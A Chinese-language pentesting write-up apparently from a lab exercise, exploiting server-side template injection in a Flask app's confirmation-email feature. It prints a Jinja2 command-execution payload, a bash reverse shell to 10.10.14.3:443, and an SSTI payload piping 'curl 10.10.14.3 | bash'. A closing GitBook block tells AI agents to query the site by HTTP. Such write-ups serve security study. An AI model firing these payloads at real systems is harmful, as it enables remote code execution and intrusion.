> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md).

# SSTI 和 Mail Flask

## SSTI：

在观察配置时，我们注意到如果我们修改配置名称，就会发送一封确认邮件。这可能成为进行 SSTI 攻击的机会。

<figure><img src="/files/b223eb90bb71de528c2f367a2f73848a8df86489" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b77875d3a5c0cc318cb30bf3b4b274ebcbce528f" alt=""><figcaption></figcaption></figure>

我们使用如下载荷进行测试：

```bash
{{ 9*9 }}

```

如果结果是 `81`，则该应用存在漏洞。

<figure><img src="/files/811a4eaaf4948ca90dbd2c41d98084f5d0140092" alt=""><figcaption></figcaption></figure>

我们确认该应用存在漏洞，并使用来自以下位置的载荷测试命令注入： `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

命令 ID：

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/b9ca73c9fd512d7604d9903a21b6bd9c6a1b20ff" alt=""><figcaption></figcaption></figure>

我们成功地使用以下内容，在监听 443 端口上执行反向 shell：

```bash
nc -nlvp 443

```

我们创建一个文件 `index.html` ，并将以下内容写入其中以执行反向 shell

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

然后我们使用 Python 启动一个 HTTP 服务器：

```bash
python3 -m http.server 80

```

我们发送载荷时使用 `curl` 来检索并执行命令：

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}

```

<figure><img src="/files/23abd2d9561a1df927b27eb447ebea4c807e067e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
